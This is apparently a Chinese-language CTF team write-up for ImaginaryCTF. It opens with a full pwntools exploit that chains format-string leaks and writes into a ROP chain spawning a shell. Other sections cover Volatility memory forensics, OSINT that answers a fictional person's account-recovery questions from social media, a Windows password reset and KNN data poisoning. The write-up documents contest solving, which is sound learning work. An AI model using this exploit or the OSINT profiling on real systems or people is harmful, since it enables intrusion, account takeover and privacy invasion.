但我們不管最前面那個3,因為buf是int32,3不在範圍內
改完之後就可以進入這個function了
接著利用剛剛leak出來的東西做one gadget(with rop)就好了
payload:padding|canary|pop r12; ret|0|pop r15; ret|0|one_gadget
我選的one gadget:
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
script:
from pwn import *
#context.arch = "amd64"
#context.terminal = ["tmux", "splitw", "-h"]
#r = process("./imgstore")
r = remote("imgstore.chal.imaginaryctf.org", 1337)
def fsb(payload):
r.sendlineafter(b"Enter book title: ", payload)
r.recvuntil(b"Book title --> ")
return r.recvline()
#get rsp + 8, canary, libcbase
r.sendlineafter(b">> ", b"3")
addr = int(fsb("%15$p"), base=16) - 120
print(hex(addr))
r.sendlineafter(b"[y/n]: ", b"y")
canary = int(fsb("%17$p"), base=16)
print(hex(canary))
r.sendlineafter(b"[y/n]: ", b"y")
libcbase = int(fsb("%13$p"), base=16) - 0x84420 - 378
print(hex(libcbase))
#modify rsp+8 to 0x8c87dec5
r.sendlineafter(b"[y/n]: ", b"y")
payload = '%{}c%{}$hn'.format(addr % 0x10000, 15).encode()
fsb(payload)
r.sendlineafter(b"[y/n]: ", b"y")
payload = '%{}c%{}$hn'.format(0xdec5, 22).encode()
fsb(payload)
r.sendlineafter(b"[y/n]: ", b"y")
payload = '%{}c%{}$hn'.format((addr + 2) % 0x10000, 15).encode()
fsb(payload)
r.sendlineafter(b"[y/n]: ", b"y")
payload = '%{}c%{}$hn'.format(0x8c87, 22).encode()
fsb(payload)
#ROP -> padding|canary|pop r12; ret|0|pop r15; ret|0|one_gadget
pop_r12_ret = libcbase + 0x2f709
pop_r15_ret = libcbase + 0x23b69
one_gadget = libcbase + 0xe3afe
print(hex(pop_r12_ret))
print(hex(pop_r15_ret))
rop = pack(pop_r12_ret, 64) + pack(0, 64) + pack(pop_r15_ret, 64) + pack(0, 64)
payload = b'a' * 13 * 8 + pack(canary, 64) + b'a' * 8 + rop + pack(one_gadget, 64)
r.sendlineafter("UNDER DEVELOPMENT ", payload)
r.interactive()
FORENSICS
- solver Whale120
crash
拿到一個vmem檔案,用volatility進行掃描
python2 vol.py -f dump.vmem kdbgscan
filescan
python2 vol.py -f dump.vmem --profile=Win10x64_19041 filescan | grep flag
拿到虛擬地址後,用filedump倒出:
python3 vol.py -f dump.vmem -o flag windows.dumpfiles --virtaddr 0xc60c81c70ce0
最後切去flag目錄cat出來會變成base64, decode一下就好ㄌ~
bom
- solver ChiLin.H
改編碼,但我相信他們被雲端空間賣了。
Flag: ictf{th4t_isn7_chin3se}
packed
- solver ChiLin.H
- 給了個
routed.pkz
- 用 7zip
粗爆地鑽進他體內 - 用力地打開他體內的
secret.png
- Flag:
ictf{ab4697882634d4aeb6f21141ea2724d0}
routed
- solver Whale120 為packed的延續,要對routed.pkt作分析,利用Cisco Packet Tracer打開,會看到幾台可愛的機器:
View Command
挖到一坨假flag
翻了一下找到type 7 password,上網搜一下找到decrypt tool(link):
cartesian-1
- solver Elliot_404 上Instagram搜尋Terrence Descartes
在限時動態中發現flag
cartesian-2
- solver Elliot_404 上LinkedIn搜尋Terrence Descartes,會看到一個跟前面Instagram帳號同樣頭像的,點下去
https://www.linkedin.com/in/terrence-descartes-54642831a/
查看第一則貼文的第二張照片,裡面有寫flag(2/1)
利用epieos搜尋[email protected](用姓名猜出來的)
Google Calendar右邊的連結點進去
https://calendar.google.com/calendar/u/0/[email protected]
題目說要觀察他去年夏天旅行,所以前往2023年6月,會看到SUMMER TRIP!!!,點下去就能看到flag(2/2)了
cartesian-3
- solver Elliot_404
What is your email? A: [email protected]
用姓名去猜即可On what day were you born? (YYYY-MM-DD) A: 2001-01-18
此篇Instagram貼文是他的半歲生日慶祝文,用發文日期減去6個月後即是他的生日,年份的部分則在名稱中就透露了What is the name of your favorite pet? A: bonnie
這篇Instagram貼文寫的What city have you primarily lived in for the past three months? A: San Diego
這篇Instagram貼文寫說剛從學校回到家,代表過去3個月應該都在學校附近生活,而Instagram自我介紹透露出學校是UCSD,搜尋後發現在San DiegoIn what city did you grow up? A: Phoenix
根據隊友提供的線索他的家鄉與各點距離
Home**↔️NYC:2139英里
Home↔️西雅圖:1114英里
Home↔️**學校UCSD:300英里
但找不到適合的工具來三點定位,於是打開google地球,玩了一下量測發現是單位是公尺,透過ChatGPT先把隊友提供的線索轉換成公尺。
首先點紐約市拉一條約3436000公尺的線(大概就好不用太準只是用來找方向的)
然後搜尋UCSD,從UCSD拉一條大概接近1787000公尺多的線,區域應該是在亞利桑那州,而且鳳凰城很靠近量測點,所以猜測是鳳凰城。
最後從西雅圖那個點拉一條482000m的線,確實在亞利桑那州範圍內,接著找出距離最接近1,787,065m位置的城市,看了一下鳳凰城,把量測點拉過去驗證,符合猜測。
What is the name of your favorite poet? A: Robert Frost
從他Instagram帳戶追蹤的對象看出來的,每個都跟Robert Frost有關What was the make and model of your first car? A: Honda Civic
這篇Instagram貼文最後有寫 #firstcar,對圖片使用google智慧鏡頭即可搜尋出車款In what year was your father born? A: 1981
上github搜尋terrence descartes只能找找到一個帳戶,查看他唯一的專案的commits裡的redact sensitive info會發現他爸43歲,2024-43=1981What is your mother’s maiden name? A: Jackson
從此篇LinkedIn貼文中得知她媽媽姓名為Amelia Jackson Descartes,根據美國冠夫姓的方式,會把夫姓放後面,引此婚前姓氏為Jackson
實際🌰:拜登的前任太太,內莉亞·杭特·拜登(英語:Neilia Hunter Biden);婚前姓杭特(英語:Hunter)At what company do you work at? A: Cohort Calculations
他的LinkedIn寫的:In what city did you go on vacation last summer? A: Saint Paul
搜尋此貼文第二張圖片左上角的地點的所在地即可得知答案What are you supposed to do on August 21? A: Drop off top secret information
在他的google日曆中察看8/21日的行程即可得知答案Who was your boss in your first job? A: Farmer Johnson
在他的LinkedIn中寫的第一份工作的公司名稱的一部分即是答案
最後填完所有資料按下submit就會跳到flag頁面
dog-mom
- solver Elliot_404
搜尋圖片其中一個地方後google辨識出地點了
接著在google地球上搜尋此地點後稍微逛一下附近即可找到題目圖片左下方的地點
根據拍攝角度來看應該是在有一定高度的地方拍的,大概率是在學習大教堂上
盡可能還原拍攝角度了XD
playful-puppy
- solver Elliot_404
題目給的是一個minecraft地圖檔,稍微翻一下後在playful-puppy\world\datapacks\Dog data\data\test\function
裡發現了一個名為dog.mcfunction
的檔案,打開來發現是一堆生成狗(在minecraft裡是狼)的指令,語法如下:
summon minecraft:wolf ~ ~ ~ {CustomName:dog name,Owner:cleverbear57,CustomNameVisible:0,variant:black,CollarColor:15}
接著把playful-puppy\world
丟到你的minecraft資料夾的saves
底下,在遊戲中打開它,會發現一堆狗
所以猜測dog.mcfunction
生成的都不是他的狗,把裡面的生成指令改成Kill指令把多餘的狗殺掉後就會剩下他的狗了。
指令改成:
kill @e[type=minecraft:wolf,name="dog name"]
改好後的檔案:https://drive.google.com/file/d/1SXygAqhi0rcWMruVWuEpv6CcFlvRme8G/view?usp=drive_link
接著進到遊戲中按下 T,執行/reload
,再執行/function test:dog
,即可消滅多餘的狗,就可以找到他的狗了,接著把名稱填入ictf{}內即可
flag: ictf{6ed247d7539bb3bf}
MISC
- solver ChiLin.H
sanity-check
Flag: ictf{this_isnt_real}
discord
- solver ChiLin.H
DC URL 很會搶
https://discord.com/channels/732308165265326080/1262522411123736718/1262528560904667239
Flag: ictf{fake_flag_for_testing}
Locked
- solver ChiLin.H
- 載下來,發現檔案是一台虛擬機的檔案。
- 用虛擬機打開,發現是個 Windows 10 (ia32),然後有密碼進不去
- 拿出祖傳的 USBOX WinPE,打開 NTPWEdit,改掉他的密碼
- 重開機後,用改掉的密碼登錄
Flag:ictf{97ce0dee87d38c7bb4}
sussy
- solver ChiLin.H
- 找到他的 DC 機器人 @amogusbot#3035
- 亂試
- 送出
!inventory <@1262915653455708231> @flag
- 機器人回覆
<@1262915653455708231> has 0 @flag amogi.|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| <@485801570462859265>ictf{$p0!l3rsp@m!!_809129783}
Flag: ictf{$p0!l3rsp@m!!_809129783}
註:後面的 @flag
可替換任意字元
starship
- solver Whale120 題目大致上就是以一堆數列為DataSet,以K鄰近算法做資料判別他為friend/enemy
然後有一次插入訓練結果的機會,目標是讓某兩組資料從enemy變成friend。
我的想法就是把需要污染的兩組資料一個取前面幾個,剩下接上後面的數列,最後宣告他是friendly,因為K鄰近會去取距離,通常(?)這樣應該就夠把距離拉近ㄌ